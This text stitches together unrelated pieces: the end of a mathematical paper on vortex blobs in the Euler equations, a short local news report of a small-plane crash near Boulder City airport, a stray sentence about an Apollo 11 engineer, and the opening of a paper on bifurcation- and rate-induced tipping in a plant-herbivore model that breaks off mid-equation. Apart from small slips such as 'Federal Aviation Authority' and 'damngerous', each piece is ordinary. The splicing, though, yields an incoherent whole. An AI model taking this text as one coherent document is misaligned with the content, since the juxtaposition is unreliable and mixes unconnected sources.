\begin{equation}\label{169}
\bar{\omega}^\varepsilon(x,t)=\omega^\varepsilon(\bar{\Phi}_{-t}^\varepsilon(x),0),
\end{equation}
\begin{equation}\label{175}
\frac{d}{dt}\bar{\Phi}^\varepsilon_t(x)=\bar{\mathbf{v}}^\varepsilon(\bar{\Phi}^\varepsilon_t(x),t),\,\,\,\,\,\ \bar{\Phi}^\varepsilon_0(x)=x,
\end{equation}
\begin{equation}\label{176}
\bar{\mathbf{v}}^\varepsilon(x,t)=J\nabla (\int_{\mathbb{R}^2}\Gamma(x,y)\bar{\omega}^\varepsilon(y,t)dy-\int_{\mathbb{R}^2}h(x,y)\bar{\omega}^\varepsilon(y,t)dy).
\end{equation}
If we define $\hat{\Phi}_t$ as follows
\begin{equation}
\frac{d}{dt}\hat{\Phi}_t(x)=J\nabla G\bar{\omega}^\varepsilon(\hat{\Phi}_t(x),t),\,\,\,\, \hat{\Phi}_0(x)=x,\,\,\,\,\forall x\in D,
\end{equation}
then we find $\bar{\omega}^\varepsilon(x,t)$ and $\hat{\Phi}^\varepsilon_{t}(x)$ satisfy
\begin{equation}\label{202}
\bar{\omega}^\varepsilon(x,t)=\omega^\varepsilon(\hat{\Phi}^\varepsilon_{-t}(x),0),
\end{equation}
\begin{equation}\label{203}
\frac{d}{dt}\hat{\Phi}_t(x)=J\nabla G\bar{\omega}^\varepsilon(\hat{\Phi}_t(x),t),\,\,\,\, \hat{\Phi}_0(x)=x,\,\,\,\,\forall x\in D,
\end{equation}
that is, the mapping $t\rightarrow(\bar{\omega}^\varepsilon(\cdot,t),J\nabla G\bar{\omega}^\varepsilon(\cdot,t),\hat{\Phi}^\varepsilon_t(\cdot))$ is also a weak solution of the Euler equation with initial vorticity $\omega^\varepsilon(x,0)$, then by the uniqueness of the Euler equation we have $\omega^\varepsilon=\bar{\omega}^\varepsilon$, which concludes the proof.
\end{proof}
\begin{remark}
From the above proof we know that for any fluid particle $x$ with initial position $x\in supp\omega^\varepsilon(x,0)$, the two kinds of motions governed by the Euler equation and the regularized system are the same, but the velocities of these two systems may be different, especially for the fluid particles near the boundary.
\end{remark}
\section{$k$ vortices}
Using the same idea, we can study the evolution of $k(k\geq 1)$ blobs of concentrated vorticity in bounded domains.
According to the vortex model, the evolution of $k$ point vortices with vorticity strength $a_i$ and initial position $z_{i0}$ is described by the following Kirchhoff-Routh equations:
\begin{equation}\label{200}
\begin{cases}
\frac{dz_i(t)}{dt}=\sum_{j\neq i}a_jJ\nabla_{z_i}G(z_i(t),z_j(t))-a_iJ\nabla_{z_i} h(z_i(t),z_j(t)),\\
z_i(0)=z_{i0},
\end{cases}
\end{equation}
where $i=1,2,...,k$, $z_{i0}\in D$, and $z_{i0}\neq z_{j0}$ if $i\neq j$. It means that the motion of the vortex located at $z_i(t)$ with vorticity strength $a_i$ is influenced by the other vortices via the term $\sum_{j\neq i}a_jJ\nabla_{z_i}G(z_i(t),z_j(t))$, and the boundary via the term $-a_iJ\nabla_{z_i} h(z_i(t),z_j(t))$.
By the theory of ordinary differential equations, there exists $T>0$ such that \eqref{200} has a unique solution $\{z_i(t)\}_{i=1}^k$ in time interval $[0,T]$ and $z_{i}(t)\neq z_{j}(t)$ for all $t\in[0,T]$ if $i\neq j$. Moreover, since the set $\{z_i(t)|t\in[0,T]\}$ is compact for each $i$, we choose $\rho_0>0$ such that
\begin{equation}
\rho_0<\min_{t\in[0,T],i\neq j}\{|z_i(t)-z_j(t)|,\,\,\, \rho_0<\min_{t\in[0,T],1\leq i\leq k}\{dist(z_i(t),\partial D)\}.
\end{equation}
Now we consider a family of initial data $\omega^\varepsilon(x,0)\in L^\infty(D)$ satisfying
\begin{equation}\label{201}
\omega^\varepsilon(x,0)=\sum_{i=1}^k\omega_i^\varepsilon(x,0),
\end{equation}
\begin{equation}\label{202}
\int_D\omega_i^\varepsilon(x,0)dx=a_i,
\end{equation}
\begin{equation}\label{203}
|\omega_i^\varepsilon(x,0)|\leq M\varepsilon^{-\eta},\,\,\,\,\eta<\frac{8}{3},
\end{equation}
\begin{equation}\label{204}
supp\omega_i^\varepsilon(x,0)\subset B_\varepsilon(z_{i0}),
\end{equation}
where $M$ and $\eta$ are fixed positive numbers.
For fixed $\varepsilon$, there exists a unique weak solution $(\omega^\varepsilon(x,t),\mathbf{v}^\varepsilon(x,t),\Phi^\varepsilon(x,t))$. Obviously,
\begin{equation}
\omega^\varepsilon(x,t)=\omega^\varepsilon(\Phi^\varepsilon(x,-t),0)=\sum_{i=1}^k\omega^\varepsilon_i(\Phi^\varepsilon(x,-t),0).
\end{equation}
For simplicity we write $\omega^\varepsilon_i(x,t)=\omega^\varepsilon_i(\Phi^\varepsilon(x,-t),0)$, thus $\omega^\varepsilon(x,t)=\sum_{i=1}^k\omega^\varepsilon_i(x,t)$.
We have the following result:
\begin{theorem}\label{210}
For any $\delta>0$, there exists $\varepsilon_0>0$ such that, if $\varepsilon<\varepsilon_0$, then
\begin{equation}\label{29}
supp\omega_i^\varepsilon(x,t)\subset B_\delta(z_i(t))
\end{equation}
for all $0\leq t\leq T$, where $z_i(t)$ is the solution of the following system:
\begin{equation}
\begin{cases}
\frac{dz_i(t)}{dt}=\sum_{j\neq i}a_jJ\nabla_{z_i}G(z_i(t),z_j(t))-a_iJ\nabla_{z_i} h(z_i(t),z_j(t)),\\
z_i(0)=z_{i0}.
\end{cases}
\end{equation}
\end{theorem}
\begin{proof}
Since the proof is essential the same as Theorem \ref{33}, we only show the main idea.
Consider the following regularized system in all of $\mathbb{R}^2$:
\begin{equation}\label{211}
\bar{\omega}^\varepsilon(x,t)=\sum_{i=1}^{k}\bar{\omega}_i^\varepsilon(x,t),
\end{equation}
\begin{equation}\label{212}
\bar{\omega}_i^\varepsilon(x,t)=\omega_i(\bar{\Phi}_i(x,-t),0)
\end{equation}
\begin{equation}\label{213}
\frac{d}{dt}\bar{\Phi}_i^\varepsilon(x,t)=\bar{\mathbf{v}}^\varepsilon_i(\bar{\Phi}^\varepsilon_i(x,t),t),\,\,\, \bar{\Phi}^\varepsilon_i(x,0)=x,\,\forall x\in \mathbb{R}^2,
\end{equation}
\begin{equation}\label{214}
\begin{split}
\bar{\mathbf{v}}^\varepsilon_i(x,t)=J\nabla_x\int_{\mathbb{R}^2}-\frac{1}{2\pi}\ln|x-y|\bar{\omega}^\varepsilon_i(y,t)dy\\
+J\nabla_x\sum_{j\neq i}\int_{\mathbb{R}^2}-\frac{1}{2\pi}\ln^{\rho_0}(|x-y|)\bar{\omega}^\varepsilon_j(y,t)dy
-J\nabla_x\sum_{j=1}^k\int_{\mathbb{R}^2}\bar{h}(x,y)\bar{\omega}^\varepsilon_j(y,t)dt,
\end{split}
\end{equation}
where $\ln^{\rho_0}(|x|)$ is a smooth function of $x$ which coincides with $\ln(|x|)$ if $|x|\geq\frac{\rho_0}{100}$, and $\bar{h}(x,y)=h(x,y)\theta(x)\chi(y)$, where $\theta,\chi$ is defined by \eqref{61},\eqref{62}.
We view the term
\begin{equation}
J\nabla_x\sum_{j\neq i}\int_{\mathbb{R}^2}-\frac{1}{2\pi}\ln^{\rho_0}(|x-y|)\bar{\omega}^\varepsilon_j(y,t)dy
-J\nabla_x\sum_{j=1}^k\int_{\mathbb{R}^2}\bar{h}(x,y)\bar{\omega}^\varepsilon_j(y,t)dt
\end{equation}
as an external force, which is uniformly bounded and satisfies uniform Lipschitz condition. Then by the same argument we can show that $\bar{\omega}_i^\varepsilon$ has localization property, i.e., the support of $\bar{\omega}^\varepsilon_i(\cdot,t)$ is located in a sufficiently small disk centered at $z_i(t)$ if $\varepsilon$ is sufficiently small, but in this case the time evolution of $\bar{\omega}^\varepsilon_i(\cdot,t)$ coincides with the one of ${\omega}^\varepsilon_i(\cdot,t)$, so by uniqueness we have $\bar{\omega}^\varepsilon_i={\omega}^\varepsilon_i$, which concludes the proof.
\end{proof}
| {
"redpajama_set_name": "RedPajamaArXiv"
} | 2,075 |
>> Local
1 injured in small-plane crash near Boulder City airport
One person was taken to a hospital with nonlife-threatening injuries after a small plane crashed, according to a tweet from Boulder City sent about 4:45 p.m. Tuesday.
By Katelyn Newberg / Las Vegas Review-Journal
Updated May 7, 2019 - 6:22 pm
Boulder City tweeted this photo of a small plane crash near the Boulder City airport on Tuesday, May 7, 2019. (Boulder City Twitter)
A person was injured after a small plane crashed near Boulder City Municipal Airport on Tuesday afternoon.
The plane, which had two people on board, crashed about 4:22 p.m. Tuesday, Boulder City spokeswoman Lisa LaPlante said. It crashed just southwest of the airport, near a sewer pond in the area of Buchanan Boulevard and Quail Drive, she said.
The Boulder City police and fire departments were called to the scene after the crash, and the Federal Aviation Authority has been notified, LaPlante said.
One person was taken to Sunrise Hospital and Medical Center with nonlife-threatening injuries, she said.
The Federal Aviation Authority will conduct an investigation into the crash. It was unclear Tuesday night what led to the crash.
Contact Katelyn Newberg at knewberg at knewberg@reviewjournal.com or 702-383-0240. Follow @k_newberg on Twitter.
BC Police and Fire on scene of small plane down south of Airport. One person being transported with non-life-threatening injuries. pic.twitter.com/X9y1466ixD
— CityofBoulderCityNV (@BoulderCityNev) May 7, 2019
Posted on: Local, News
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William Corney was a communications engineer stationed in the middle of the Atlantic during the Apollo 11 mission 50 years ago, relaying messages to NASA's Mission Control. | {
"redpajama_set_name": "RedPajamaCommonCrawl"
} | 3,154 |
\section{Introduction}
Tipping points are strongly nonlinear phenomena which can be described in layman's terms as
large, sudden and often unexpected changes in the state of a system, caused by small and slow changes
in the external inputs~\cite{scheffer2009critical,ashwin2012tipping}. The notion of a tipping point was
popularised by Gladwell~\cite{gladwell2000tipping} and has since been used in a wide
range of applications including climate science~\cite{lenton2008tipping,held2004detection,bathiany2016beyond}
and ecology~\cite{scheffer2009critical,scheffer2008pulse,laurance201110,boettiger2013,siteur2016ecosystems,vanselow2018,morris2002responses}.
Scientists have identified interesting questions in relation to different tipping
mechanisms~\cite{ashwin2012tipping,shi2016towards}, generic early warning signals near a tipping point~\cite{scheffer2009early,dakos2008slowing,scheffer2012anticipating,ritchie2016early},
and the possibility of preventing tipping~\cite{biggs2009turning,hughes2013living,bolt2018climate,ritchie2017inverse,alkhayuon2019}, that need to be addressed in more rigorous terms. For example, Article 2 of the 1992 United Nations Framework Convention on Climate Change (UNFCCC)
pointed out two {\em critical factors}: the {\em level} and the {\em time frame} for changing
greenhouse gas concentrations~\cite{unfccc1992united}, suggesting that there are at
least two tipping mechanisms of great importance to the contemporary climate.
More generally, tipping phenomena can be classified by a type of instability and
analysed in more depth, although this often requires mathematical techniques
beyond traditional stability theory~\cite{CRITICSwebsite,wieczorek2011excitability,ashwin2012tipping,wieczorek2018}.
Early mathematical models described tipping points as dangerous
bifurcations that occur at {\em critical levels} of an input parameter~\cite{thompson2011predicting,kuehn2011mathematical}.
Such bifurcations have a discontinuity in the branch of stable states (attractors) at the
bifurcation point, which explains why a system can remain near one stable state up to a
critical level, but is destined to transition to a different state past the critical
level~\cite{thompson1994safe}.
However, tipping points are not just bifurcations.
Some systems have {\em critical rates} of parameter change, meaning that they are very
sensitive to how fast external conditions or inputs change. Such systems can tip to a
different state, despite the absence of any classical bifurcation, when the input parameter
varies slowly but fast enough~\cite{wieczorek2011excitability,siteur2014beyond,scheffer2008pulse,luke2011soil,alkhayuon2019}.
Ashwin et al. used the framework of non-autonomous dynamical systems to identify three different tipping mechanisms~\cite{ashwin2012tipping}. Bifurcation-induced tipping (B-tipping) occurs when the
changing parameter passes through a {\em critical level} or a {\em (dangerous) bifurcation},
at which point the stable state loses stability or simply disappears. In other words,
B-tipping describes the adiabatic effects of a parameter change. Rate-induced
tipping (R-tipping) occurs when the parameter changes faster than some {\em critical rate}
and the system deviates from the moving stable state sufficiently far to cross some tipping
threshold, e.g. the boundary of the domain of attraction. In other words, R-tipping
describes the non-adiabatic effects of a parameter change.
Noise-induced tipping (N-tipping) occurs when noisy fluctuations drive the system past
some tipping threshold.\footnote{In a certain sense, N-tipping can be thought of as a special case of
R-tipping.} Shi et al. gave an alternative but similar classification of tipping mechanisms
based on relative timescales of the input and of the noisy system alone~\cite{shi2016towards}.
Additionally, tipping points can be described as either reversible or irreversible, depending
on whether or not the system returns to the original stable state in the long term~\cite{wieczorek2018}.
So far, B-tipping and R-tipping have been discussed in isolation in the literature. However,
real-world tipping phenomena will often involve different critical factors and
different tipping mechanisms. Motivated by this observation, we use classical
bifurcation analysis~\cite{kuznetsovelements} in conjunction with the concepts
of {\em parameter paths} and {\em basin instability}~\cite{ashwin2012tipping,wieczorek2018}
to analyse the effects of the rate of parameter change near the two generic
dangerous bifurcations of equilibria: saddle-node and subcritical Hopf bifurcations~\cite{thompson1994safe}. In this way, we give new insight into testable
criteria for R-tipping and reveal non-trivial phenomena
such as multiple critical rates that arise from the interaction between
B-tipping and R-tipping.
Ecological models appear to be a perfect test bed for this type of study.
B-tipping has been observed and studied extensively in different ecosystems~\cite{lewontin1969meaning,noy1975stability,scheffer1993alternative,scheffer2001catastrophic,leemans2004another,lenton2008tipping}, although the concept of a ``global tipping point" in the context of planetary
boundaries has recently received some criticism~\cite{montoya2018planetary}. Ecologists speak of a
``regime shift" when the bifurcation is safe or explosive, and of a ``critical transition" when the
bifurcation is dangerous~\cite{scheffer2009critical}; we refer to~\cite{thompson1994safe} for the
classification of bifurcations into safe, explosive and dangerous.
Similarly, there is great and rapidly growing interest in R-tipping in the context of ecological dynamics~\cite{leemans2004another,jezkova2016}.
To the best of our knowledge, the first examples of
R-tipping were reported in ecosystems~\cite{morris2002responses,scheffer2008pulse,
siteur2014beyond,siteur2016ecosystems,vanselow2018}. More precisely, R-tipping conceptualises
a failure to adapt to changing environments~\cite{botero2015evolutionary} in the sense that
the stable state is continuously available but the system is unable to adjust to its changing
position when the change happens too fast. This raises the interesting research question
of whether tipping phenomena observed
in nature are predominantly rate induced. What is more, the related question of whether tipping
can be avoided or prevented has recently received much attention in the ecosystem literature~\cite{hughes2013living,biggs2009turning,bolt2018climate,ritchie2017inverse}. Proper mathematical
analysis of the interaction between critical levels and critical rates, or between
B-tipping and R-tipping, is exactly what is needed to gain more insight into these questions.
Lastly, there is a strong need to better understand whether ecosystems are
sensitive to the magnitudes of environmental change, the rates of environmental change, or to both.
This is of particular importance in view of a highly variable contemporary climate,
intensifying human activity and rapidly declining resources.
The paper is organised as follows.
Section~\ref{sec:keynon} introduces the ecological model given by two non-autonomous
ordinary differential equations and discusses the key nonlinearity due to a modified
type-III functional response. It also introduces the concepts of a parameter path and
a moving equilibrium.
In Sec.~\ref{sec:Btip} we perform classical bifurcation analysis of the corresponding
autonomous system with fixed in time parameters, obtain two-dimensional bifurcation
diagrams in the parameter plane of the plant growth rate and herbivore mortality rate,
and uncover a codimension-three degenerate Bogdanov-Takens bifurcation as the organising
centre for B-tipping and the source of a dangerous subcritical Hopf bifurcation. We give simple criteria for B-tipping in the non-autonomous system
in terms of dangerous bifurcations in the autonomous system.
In Sec.~\ref{sec:Rtip} we introduce the concept of basin instability for the
corresponding autonomous system to give testable criteria for R-tipping
in the non-autonomous system. We superimpose regions of basin instability on classical
bifurcation diagrams to highlight rate-induced instabilities that cannot be captured by
classical bifurcation analysis. We then obtain two-dimensional R-tipping diagrams in
the parameter plane of the \emph{rate} and \emph{magnitude} of parameter shift for monotone
and non-monotone parameter shifts, uncover R-tipping tongues with two critical rates,
draw parallels between R-tipping tongues and resonance tongues, and demonstrate that
tracking-tipping transitions correspond to canard-like solutions that, rather surprisingly,
track moving unstable states.
In Sec.~\ref{sec:BRtip} we describe non-trivial tipping phenomena arising from the interaction
between B-tipping and R-tipping such as tipping diagrams with multiple critical rates, which
we explain in terms of different timescales and bifurcation delays.
In Sec.~\ref{sec:pnr} we partition the tipping diagrams into ``points of tracking'',
``points of return", ``points of no return" and ``points of return tipping" to give
new insight into the problem of preventing tipping by a parameter trend reversal. We then
depart from the ecological model and produce tipping diagrams capturing both B-tipping
and R-tipping for modified (tilted) normal forms of the two generic dangerous bifurcations
of equilibria namely saddle-node and subcritical Hopf. By comparison with
the ecological model we show that the tipping diagram from Sec.~\ref{sec:BRtip}
appears to be typical for non-monotone parameter shifts that cross
a basin instability boundary and a generic dangerous bifurcation
and then turn around.
Section~\ref{sec:concl} summarises our findings.
\begin{comment}
Section 2 begins with an autonomous model describing the interaction between plants and herbivores and a feature of the system, \emph{the nonlinearity parameter}, is discussed in relation to how it is responsible for the per-capita growth of herbivores not being a strictly increasing function of the plant growth. This is a very important property as it is what makes the system highly prone to R-tipping. We then declare our two main input parameters, $r$ the growth rate of plants and $m$ the mortality rate of herbivores. We also introduce the concept of a moving equilibrium, a property of the non-autonomous system necessary for understanding the mechanism of rate-induced tipping. In Section 3 we perform traditional bifurcation analysis on the autonomous system with a focus on identifying the \emph{critical levels} of parameters $r$ and $m$. These we show in bifurcation diagrams for the two parameters which are made qualitatively different by having distinct but fixed values for the nonlinearity parameter. All indicated phase spaces have their own accompanying phase portraits.
The idea of rate-induced tipping is introduced in Section 4 by first describing the concept of ``\emph{basin instability}''~\cite{ashwin2017parameter}, a feature of the autonomous system that provides an understanding of R-tipping in the non-autonomous system. We perform rate sensitivity analysis on the system using \emph{forcing functions}, one to represent a monotonic shift simulating a steady increase in environmental drivers, the second steadily increases towards a maximum and then reverses, thus simulating a reversal of the driving mechanism. This allows us to examine transitions that are due to \emph{critical rates}~\cite{scheffer2008pulse,wieczorek2011excitability, luke2011soil}. The motivation for this is the question; \emph{if one accepts the possibility of anthropogenic climate change towards a tipping point, can a reversal of our behaviour recover the stability of our system?} Also introduce here are tipping diagrams that plot the magnitude (length) against the rate (amplitude) of parameter shifts through a region with no traditional bifurcation and show quantitatively areas of R-tipping and R-tracking. The non-monotone shifts reveals what will become a familiar feature of R-tipping, a tongue shaped area of tipping bounded above and below by critical rates.
Section 5 investigates the interaction between B-tipping and R-tipping beginning with monotone and non-monotone shifts through a (dangerous) subcritical Hopf bifurcation. The resulting tipping diagram for the non-monotone shifts shows this interaction clearly with the result of three critical rates for a relatively large range of magnitude of parameter shift, two critical rates representing R-tipping and a third B-tipping critical rate that begins far beyond the bifurcation but reverses and converges back towards it. We then explore a region at a very close proximity to the subcritical Hopf bifurcation where there is no basin instability as a parameter shifts through the bifurcation. What results is a tipping diagram that has the two similar characteristics to the previous one; R-tipping tongue shape and B-tipping convergence to the bifurcation but an additional oscillation between the two that results in multiple critical rates.
In Section 6 we superimpose the non-monotone tipping diagram on top of the monotone tipping diagram to reveal two different types of tipping point. One where it is possible to recover the system (``\emph{points of return}'') and the other where tipping is truly irreversible (``\emph{points of no return}''). We then extend our methods to the normal forms of a saddle-node bifurcation and of a subcritical Hopf bifurcation. These results show genericity in our findings and furthermore, an additional tipping point presents itself, upon the parameter trend reversal (non-monotone) there are conditions in which the system can tip, we call these ``\emph{points of return tipping}''.
There are two generic dangerous bifurcations of equilibria: saddle-node bifurcation and subcritical Hopf bifurcation. Points of no return near a saddle-node bifurcation have been studied by Sieber, et al.. We address the question of points of no return near a subcritical Hopf bifurcation.
This paper concerns rate induced bifurcations, specifically the rates that mark a critical transition in a system. A rate induced bifurcation is where a parameter does not cross a classical bifurcation, but varies too fast for the system to track the moving stable state~\cite{ashwin2012tipping}.
A critical transition or \emph{``tipping point''} is the threshold in which a system's stable state destabilises or disappears entirely due to a change in a system's parameter~\cite{kuehn2011mathematical}.
In environmental science a concept has developed where the concern is not so much the tipping point but actually the rate at which a system approaches it.
In environmental science tipping points refer to critical transitions by which small perturbations in an ecosystem results in an immediate and irreversible change~\cite{scheffer2001catastrophic,scheffer2009critical}. Motivated by this was the proposal of \emph{planetary boundaries}~\cite{rockstrom2009safe,steffen2015planetary}, thresholds by which humanity needs to stay within so as to avoid a catastrophic anthropogenic environmental event. Steady state analysis can easily be employed to find these critical thresholds, however this does not take into consideration the potential rate sensitivity of a particular ecosystem.
There is now almost universal acceptance of the immediate threat of climate change. In 2009 Johan Rockström et al proposed the need for thresholds by which humanity needs to stay within so as to avoid a catastrophic anthropogenic enviromental event. These were identified and quantified calling these thresholds \emph{planetary boundaries}~\cite{rockstrom2009safe}. In relation to climate change the planetary boundary was set at the limiting of CO$_2$ concentration in the atmosphere to less than 350 ppm above the pre-industrial level. Beyond that would create a zone of uncertainty up to 550ppm after which there would be a tipping point. An update to the planetary boundaries was published in 2015 where evidence now supported narrowing this zone of uncertainty from 350 to 550 ppm to 350 to 450 ppm~\cite{steffen2015planetary}. We exceeded 400 ppm in 2013 and the number continues to rise, 411.97 ppm was observed at atmospheric baseline station, Mauna Loa Observatory in Hawaii on May 19, 2018.
...recently a paradigm has been put forward that is a set of preconditions that must be met to ensure human survival on a global scale called \emph{planetary boundaries}~\cite{steffen2015planetary}, as these conditions are based on a system's critical levels they do not take in to account the rate sensitivity of the system.
Upon applying a rate parameter that has a time dependence on a system's parameter we can examine transitions that are due to \emph{critical rates}~\cite{scheffer2008pulse, luke2011soil, wieczorek2011excitability}.
Using a hyperbolic trigonometric forcing function to increase a systems parameter and another to increase a parameter and then decrease it back to its original state, we indicate critical transitions of a system which signify \emph{points of return} and \emph{points of no return}.
\end{comment}
\section{The Ecosystem Model and its Key Nonlinearity}
\label{sec:keynon}
We consider a simple ecosystem model, where the time evolution of
plant $P\ge 0$ and herbivore $H\ge 0$ biomass concentrations
is modelled using two coupled autonomous ordinary differential
equations~\cite{scheffer2008pulse}:
\begin{align}
\label{eq:dP/dt}
\frac{dP}{dt} &= r P - C P^2 - H\, g(P), \\
\label{eq:dH/dt}
\frac{dH}{dt} &= \left(E\, e^{-bP} g(P)-m\right)\!H,
\end{align}
together with eight parameters listed in Table~\ref{tab:1}.
The first two terms on the right-hand side (r.h.s.) of Eq.~(\ref{eq:dP/dt})
describe logistic plant growth from 0 to the carrying capacity $r/C$. The
third term describes grazing with a nonlinear dependence on the plant biomass $P$.
Specifically, the functional response in units inverse day
\begin{equation}
\label{eq:g(P)}
g(P) = c_{max}\,\dfrac{P^2}{P^2+a^2}\,e^{-b_c P},
\end{equation}
is a modification of the classical monotone and strictly-increasing
type-III functional response $c_{max} P^2/(P^2 + a^2)$~\cite{holling1959components}
with an exponential factor $e^{-b_c P}$ to account for
a decline in foraging at high plant biomass.
The resulting non-monotone $g(t)$,
shown in Fig.~\ref{fig:graz}(a) for different predation
efficiency $b_c$, is believed to describe a wide range of terrestrial
and aquatic ecosystems; see~\cite{van1996patterns,scheffer2008pulse} and
references therein. For example, rabbits graze more with faster-growing
plants as long as the plants are small enough, but avoid overgrown
bushes in fear of predators and are unable to graze on
plants that have grown too tall. Similarly, in aquatic ecosystems,
phytoplankton can be heavily consumed at early life stages by
herbivorous zooplankton, but higher-density phytoplankton colonies
become less prone to exploration and foraging.
Moving on to the herbivore dynamics, the first term on the r.h.s.
of~Eq.(\ref{eq:dH/dt}) describes an increase in herbivore biomass.
The increase term consists of three factors: reproduction and grazing $g(P)$,
herbivore assimilation efficiency $E$,
and exponential decline $e^{-b P}$ due to reduced food quality at
high plant biomass. The last term on the r.h.s.
of Eq.~(\ref{eq:dH/dt}) represents herbivore death at the constant rate $m$.
\begin{table}[t]
\begin{center}
\caption{Description of the system parameters and their values~\cite{scheffer2008pulse}.}
\begin{tabular}{cllc}
\hline
Symbol & Description & Units & Default value\\
\hline
\rowcolor{ggray!50}$C > 0$ & Competition factor of plants & m$^2$g$^{-1}$d$^{-1}$ & 0.02 \\
$a > 0$ & Half-saturation constant of functional & g\,m$^{-2}$ & 10 \\
& response & & \\
\rowcolor{ggray!50}$b \geq 0 $ & Exponent determining the reduced quality& m$^2$g$^{-1}$ & 0 - 0.04\\
\rowcolor{ggray!50}&of food if food biomass is too high & & \\
$b_c \geq 0$ & Exponent determining the predation & m$^2$g$^{-1}$ & 0 - 0.04\\
& efficiency of herbivores at high food biomass & & \\
\rowcolor{ggray!50}$E > 0$ & Assimilation efficiency of herbivores & dimensionless & 0.4 \\
$c_{max} > 0$ & Maximum food intake of herbivores when & d$^{-1}$ & 1 \\
& $b_c = 0$ & & \\
\rowcolor{ggray!50}$m > 0$ & Herbivore mortality rate & d$^{-1}$ & 0 - 0.2 \\
$r > 0$ & Maximum plant growth rate& d$^{-1}$ & 0 - 2.5 \\
\hline
\end{tabular}
\label{tab:1}
\end{center}
\end{table}
In mathematical terms, the ecosystem model~\eqref{eq:dP/dt}--\eqref{eq:dH/dt} with the modified functional response~\eqref{eq:g(P)} is a singular perturbation problem because it has a different number of equlibrium solutions for $b+b_c =0$ and $0<b+b_c\ll 1$. To see that, consider the net per-capita herbivore growth shown in in Fig.~\ref{fig:graz}(b):
\begin{equation}
\label{eq:hg}
h(P) = \frac{dH/dt}{H} = E \,c_{max} \dfrac{P^2}{P^2+a^2}\,e^{-(b+b_c) P} - m,
\end{equation}
whose roots correspond to non-zero herbivore equilibrium concentrations.
When $b + b_c = 0$, the net per-capita herbivore growth
is a strictly-increasing function of $P$ with a single root $P_3$
[Fig.\ref{fig:graz}(b)]. However, when $0<b+b_c\ll 1$, the net per-capita
herbivore growth has a maximum at the optimal plant biomass
$$
P_{opt} \approx \left(\frac{2a^2}{b + b_c}\right)^{\!\frac{1}{3}},
$$
and can have no roots at all, one double root, or two distinct roots
at $P_3 < P_{opt}$ and $P_4 > P_{opt}$ [Fig.\ref{fig:graz}(b)]; see the Appendix
for the derivation of $P_{opt}$, $P_3$ and $P_4$.
The additional nonlinearity of $h(p)$ that arises from a decline in foraging at high
plant biomass $(b_c > 0)$, from reduced food quality at high plant
biomass $(b > 0)$, or from a combination of both [Fig.\ref{fig:graz}(b)], is key to our study.
Throughout the paper, we refer to $b+ b_c$ as the
{\em nonlinearity parameter}, and work with different but fixed-in-time
values of $b$ and $b_c$, as indicated in Table~\ref{tab:1}.
\begin{figure}[t]
\begin{center}
\includegraphics[]{graz_percap.pdf}
\end{center}
\caption{(a) The functional response $g(P)$ with dependence on $b_c$.
(b) The key system nonlinearity: For $b + b_c > 0$, the net per-capita
herbivore growth $h(P) = (dH/dt)/H$ has optimal plant biomass $P_{opt}$
where the growth is maximal, and may change sign twice at $P_3$
and $P_4$; $m = 0.1$.}
\label{fig:graz}
\end{figure}
\subsection{Changing Environment and the Non-autonomous Model}
Ecosystems are open systems that are inevitably subject to changing
environmental conditions. These include climatic changes and weather
anomalies, disease outbreaks, decline in resources or habitat quality,
and human activity. In the model, environmental changes
can be described by a time-dependent plant growth rate $r(t)$ and
herbivore mortality rate $m(t)$, which are the {\em input
parameters} for this study. Specifically, we fix six of the
system parameters to the values or ranges given in Table~\ref{tab:1},
and allow $r(t)$ or $m(t)$ to vary smoothly in time from one
asymptotic value to another. For example, $r(t)$ could
describe the occurrence of a wet season, owing to a weather anomaly
or El Niño Southern Oscillations (ENSO), while $m(t)$ could describe
a disease outbreak among herbivores. This gives in the non-autonomous
ecosystem model
\begin{align}
\label{eq:dPdt_na}
\frac{dP}{dt} &= r(t) P - C P^2 - H\, g(P), \\
\label{eq:dHdt_na}
\frac{dH}{dt} &= \left(E\, e^{-bP} g(P)-m(t)\right)\!H.
\end{align}
The exact time-dependence of $r(t)$ and $m(t)$
is specified in Secs.~\ref{sec:Rtip} and~\ref{sec:pnr} ahead.
Our analysis of tipping points in the non-autonomous system~\eqref{eq:dPdt_na}--\eqref{eq:dHdt_na}
with time-varying environmental conditions is motivated
by the need to better understand whether ecosystems are sensitive
to the magnitude of environmental change, the rate of environmental
change, or to both.
\subsubsection{Moving Equilibria and Parameter Paths}
An equilibrium or a steady state for the autonomous
system~\eqref{eq:dP/dt}--\eqref{eq:dH/dt} is a pair
$$
e(r,m) = (P,H),
$$
for which $dP/dt = dH/dt = 0$. Typically, the position of
an equilibrium depends on the input parameters $r$ and/or $m$.
When the input parameters vary over time, $e(r,m)$ changes its position
in the $(P,H)$ phase space,
and we speak of a {\em moving equilibrium}
$$
e(t) = e(r(t),m(t)),
$$
also known as a quasistatic equilibrium~\cite{ashwin2012tipping}.
Note that $e(t)$ is a property of the autonomous
system~\eqref{eq:dP/dt}--\eqref{eq:dH/dt} and the changing
environment, but it is not a solution to the non-autonomous
system~\eqref{eq:dPdt_na}--\eqref{eq:dHdt_na}.
As the input parameters $r(t)$ and $m(t)$ evolve smoothly over time,
they trace out a continuous {\em parameter path} in the two-dimensional
$(r,m)$ parameter plane. We use the notions of a {moving equilibrium}
and a {parameter path} to discuss the differences and interaction
between B-tipping and R-tipping.
\section{B-tipping: Classical Bifurcations}
\label{sec:Btip}
In the non-autonomous system~\eqref{eq:dPdt_na}--\eqref{eq:dHdt_na},
{\em B-tipping} occurs when the input
parameters pass through a dangerous bifurcation of the
corresponding autonomous system~\eqref{eq:dP/dt}--\eqref{eq:dH/dt}.
``Dangerous" means that, in a one-parameter bifurcation diagram
like the ones shown in Fig.~\ref{PH}, there is a discontinuity
in the attracting set at a bifurcation point~\cite{thompson2011predicting}.
Thus, B-tipping mechanisms in system~\eqref{eq:dPdt_na}--\eqref{eq:dHdt_na} can be identified using classical bifurcation analysis in
conjunction with singular perturbations of the autonomous
system~\eqref{eq:dP/dt}--\eqref{eq:dH/dt}.
Specifically, in this section we treat the input parameters $r$ and $m$ as
fixed-in-time {\em bifurcation parameters}, compute bifurcation
curves in the $(r,m)$ parameter plane, and uncover the two
generic damngerous bifurcations of equilibria namely
saddle-node and subcritical Hopf bifurcations. In this way,
given a parameter path of environmental change, we identify
{\em critical levels} of $r$ and $m$ along the path whenever the
path crosses a dangerous bifurcation.
\subsection{Existence of Equilibrium Solutions}
Equilibrium solutions for the autonomous system~\eqref{eq:dP/dt}--\eqref{eq:dH/dt}
are pairs $e=(P,H)$ of non-negative $P$ and $H$, which satisfy the following
conditions:
\begin{align}
\label{eq:equilibrium1}
r P - C P^2 - H\,g(P) = 0, \\
\label{eq:equilibrium2}
